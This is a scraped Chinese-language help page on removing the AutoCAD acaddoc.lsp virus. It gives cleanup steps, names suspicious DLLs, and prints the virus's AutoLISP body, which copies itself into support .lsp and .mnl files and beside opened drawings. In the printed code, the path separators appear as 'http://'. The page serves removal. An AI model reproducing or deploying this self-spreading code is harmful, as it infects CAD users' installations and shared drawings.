AutoCAD菜單實用程序已加載.docx

《AutoCAD菜單實用程序已加載.docx》由會員分享，可在線閱讀，更多相關(guān)《AutoCAD菜單實用程序已加載.docx（7頁珍藏版）》請在裝配圖網(wǎng)上搜索。

AutoCAD 菜單實用程序已加載。; 錯誤: 輸入的列表有缺陷 AutoCAD 菜單實用程序已加載。; 錯誤: 輸入的列表有缺陷 =============================================== acaddoc.lsp CAD出現(xiàn)這種現(xiàn)象基本有以下幾種情況： 1。一般是由CAD的安裝目錄下或CAD的SUPPORT目錄下有acad.lsp這個文件引起的。這個文件可能是單位里 有自己開發(fā)的程序，使自己單位人員編寫的。 2。CAD病毒程序。判斷是不是CAD被病毒破壞 3。查找電腦的其它目錄中（主要是windows的系統(tǒng)目錄）是否還有這些文件：hysoft*.dll,KtCnPub*.dll 及RyClient.dll sx32w.dll，如果有，刪除后試一下（除了軟件目錄下的）。 （搜索文件時，注意選擇“搜索隱藏的文件”） ================================================ 以下是相關(guān)操作步驟： 1、若發(fā)現(xiàn)文件夾中多出ACADDOC.LSP文件即說明你的CAD中毒了。 2、關(guān)閉CAD程序。 3、全盤搜索 *.fas *.lsp *.mnl *.arx文件，除了CAD安裝目錄以外的該類文件均全部刪除。 4、檢查CAD安裝目錄文件的修改時間，把ACADDOC.LSP病毒感染 X:/Program Files/AutoCAD20**/Support文件夾下的 3d.lsp； 3darray.lsp； acad2010.lsp； acad2010doc.lsp； acadinfo.lsp； ai_utils.lsp； attredef.lsp； edge.lsp； mvsetup.lsp； sample-profile-util.lsp 文件以及 C:/Documents and Settings/用戶名/Application Data/Autodesk/AutoCAD 20**/R16.2/chs/Support下 的*.MNL文件中的病毒代碼刪除。（用記事本打開） 5、把CAD安裝目錄中的所有*.fas *.lsp *.mnl *.arx文件改為只讀屬性。 說明： 要刪除的病毒代碼在文件的尾部，具體如下： (setq flagx t) (setq bz "(setq flagx t)") (defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target "r")) (while (setq text (read-line wjm1)) (if (= text bz) (setq flag1 nil)) );while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source "r")) (setq wjm1 (open target "a")) (write-line (chr 13) wjm1) (while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag (progn (write-line text wjm1) );progn ); if );while (close wjm1) (close wjm) );progn ); if );defun (setvar "cmdecho" 0) (setq acadmnl (findfile "acad.mnl")) (setq acadmnlpath (vl-filename-directory acadmnl)) (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length mnlfilelist)) (setq acadexe (findfile "acad.exe")) (setq acadpath (vl-filename-directory acadexe)) (setq support (strcat acadpath "http://support")) (setq lspfilelist (vl-directory-files support "*.lsp")) (setq lspfilelist (append lspfilelist (list "acaddoc.lsp"))) (setq lspnum (length lspfilelist)) (setq dwgname (getvar "dwgname")) (setq dwgpath (findfile dwgname)) (if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath)) (setq acaddocfile (strcat acaddocpath "http://acaddoc.lsp")) (setq mnln 0) (while (< mnln mnlnum) ( setq mnlfilename (strcat acadmnlpath "http://" (nth mnln mnlfilelist))) (app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln)) );while (setq lspn 0) (while (< lspn lspnum) ( setq lspfilename (strcat support "http://" (nth lspn lspfilelist))) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn)) );while );progn );if (setq mnln 0) (while (< mnln mnlnum) (setq mnlfilename (strcat acadmnlpath "http://" (nth mnln mnlfilelist))) (setq mnln1 0) (while (< mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath "http://" (nth mnln1 mnlfilelist))) (app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1)) ) ;while (setq lspn1 0) (while (< lspn1 lspnum) (setq lspfilename1 (strcat support "http://" (nth lspn1 lspfilelist))) (app mnlfilename lspfilename1 bz) (setq lspn1 (1+ lspn1)) );while (setq mnln (1+ mnln)) );while (setq lspn 0) (while (< lspn lspnum) (setq lspfilename (strcat support "http://" (nth lspn lspfilelist))) (setq lspn1 0) (while (< lspn1 lspnum) (setq lspfilename1 (strcat support "http://" (nth lspn1 lspfilelist))) (app lspfilename lspfilename1 bz) (setq lspn1 (1+ lspn1)) );while (setq mnln1 0) (while (< mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath "http://" (nth mnln1 mnlfilelist))) (app lspfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1)) );while (setq lspn (1+ lspn)) (load "acadapq") (princ) 后面可能還會有一些病毒程序代碼，但大同小異，大部分以(setq flagxt)開頭。 該方法絕對不會對CAD 的功能使用造成影響，請大家放心使用。 ＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ 照此方法操作，再啟動Autocad和打開文件時沒有“輸入的列表有缺陷”的提示了，啟動速度快了，并且 3DArray命令可以使用了。 非常感謝該文的作者。